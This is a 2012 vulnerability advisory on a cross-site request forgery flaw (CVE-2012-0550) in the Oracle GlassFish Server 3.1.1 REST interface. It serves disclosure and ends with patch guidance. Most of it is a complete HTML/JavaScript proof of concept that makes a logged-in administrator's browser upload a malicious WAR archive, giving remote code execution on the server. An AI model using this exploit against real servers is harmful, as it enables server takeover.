Vulnerability Advisory

Name	REST Interface – Cross Site Request Forgery Vulnerability
Vendor Website	Oracle (www.oracle.com)
Date Released	April, 19th 2012 – CVE 2012-0550
Affected Software	Oracle GlassFish Server 3.1.1 (build 12)
Researcher	Roberto Suggi Liverani (roberto.suggi@security-assessment.com)

Description

Security-Assessment.com has discovered that the Oracle GlassFish Server REST interface is vulnerable to Cross Site Request Forgery[1] (CSRF) attacks. Although the javax.faces.ViewState is employed in the standard web administrative interface and it prevents such attacks, the REST interface remains vulnerable, as shown in the Proof-of-Concept (PoC) below.

Exploitation

Cross Site Request Forgery attacks can target different functionality within an application. In this case, as an example, it is possible to force an authenticated administrator user into uploading an arbitrary WAR archive, which can be used to gain remote code execution on the server running the Oracle GlassFish Server application.

The Proof-of-Concept (PoC) below has been successfully tested with Firefox 8.0.1 and Chrome 15.0.874.121 with Basic Authentication enabled.

Arbitrary WAR Archive File Upload – CSRF PoC

```
<!DOCTYPE html>
<html>
<body>
<h1>Oracle GlassFish Server 3.1.1 (build 12) - CSRF arbitrary file upload</h1>
by Roberto Suggi Liverani - Security-Assessment.com<br><br>
This is a Proof-of-Concept - the start() function can be invoked automatically.<br><br>
The CSRF upload technique used in this case is a slight variation of the technique demonstrated here:
http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html<br><br>
Other pieces of code were taken from: http://hublog.hubmed.org/archives/001941.html<br><br>
<button type="button" id="upload" onclick="start()"><font size="+2">Upload WAR Archive</font></button>
<script>
var logUrl = 'http://glassfishserver/management/domain/applications/application';

function fileUpload(fileData, fileName) {
    var fileSize = fileData.length,
      boundary = "---------------------------270883142628617",
      uri = logUrl,
```

[1] http://en.wikipedia.org/wiki/Cross-site_request_forgery

```
      xhr = new XMLHttpRequest();

    var additionalFields = {
          asyncreplication: "true",
          availabilityenabled: "false",
          contextroot: "",
        createtables: "true",
        dbvendorname: "",
        deploymentplan: "",
        description: "",
        dropandcreatetables: "true",
        enabled: "true",
        force: "false",
        generatermistubs: "false",
        isredeploy: "false",
        keepfailedstubs: "false",
        keepreposdir: "false",
        keepstate: "true",
        lbenabled: "true",
        libraries: "",
        logReportedErrors: "true",
        name: "",
        precompilejsp: "false",
        properties: "",
        property: "",
        retrieve: "",
        target: "",
        type: "",
        uniquetablenames: "true",
        verify: "false",
        virtualservers: "",
        __remove_empty_entries__: "true"

    }

    if (typeof XMLHttpRequest.prototype.sendAsBinary == "function") { // Firefox 3 & 4
    var tmp = '';
    for (var i = 0; i < fileData.length; i++) tmp +=
String.fromCharCode(fileData.charCodeAt(i) & 0xff);
    fileData = tmp;
  }
```

```
  else { // Chrome 9
    // http://javascript0.org/wiki/Portable_sendAsBinary
    XMLHttpRequest.prototype.sendAsBinary = function(text){
      var data = new ArrayBuffer(text.length);
      var ui8a = new Uint8Array(data, 0);
      for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);

      var bb = new (window.BlobBuilder || window.WebKitBlobBuilder)();

      bb.append(data);
      var blob = bb.getBlob();
      this.send(blob);

    }
  }
    var fileFieldName = "id";
    xhr.open("POST", uri, true);
    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary="+boundary); //
simulate a
file MIME POST request.
    xhr.setRequestHeader("Content-Length", fileSize);
    xhr.withCredentials = "true";
    xhr.onreadystatechange = function() {
      if (xhr.readyState == 4) {
        if ((xhr.status >= 200 && xhr.status <= 200) || xhr.status == 304) {

          if (xhr.responseText != "") {
            alert(JSON.parse(xhr.responseText).msg);
          }
        } else if (xhr.status == 0) {

        }
      }
    }

    var body = "";

    for (var i in additionalFields) {
      if (additionalFields.hasOwnProperty(i)) {
        body += addField(i, additionalFields[i], boundary);
      }
```

```
    }

    body += addFileField(fileFieldName, fileData, fileName, boundary);
    body += "--" + boundary + "--";
    xhr.sendAsBinary(body);
    return true;
}

function addField(name, value, boundary) {
  var c = "--" + boundary + "\r\n"
  c += 'Content-Disposition: form-data; name="' + name + '"\r\n\r\n';
  c += value + "\r\n";
  return c;
}

function addFileField(name, value, filename, boundary) {
    var c = "--" + boundary + "\r\n"
    c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename +
'"\r\n';
    c += "Content-Type: application/octet-stream\r\n\r\n";
    c += value + "\r\n";
    return c;
}

function getBinary(file){
  var xhr = new XMLHttpRequest();
  xhr.open("GET", file, false);
  xhr.overrideMimeType("text/plain; charset=x-user-defined");
  xhr.send(null);
  return xhr.responseText;
}

function readBinary(data) {

var tmp = '';
    for (var i = 0; i < data.length; i++) tmp += String.fromCharCode(data.charCodeAt(i) &
0xff);
    data = tmp;
    return tmp;
    }
```

```
function start() {
  var c = getBinary('maliciousarchive.war');
  fileUpload(c, "maliciousarchive.war");

}
</script>

</body>
</html>
```

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor.
For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Web www.security-assessment.com
Email info@security-assessment.com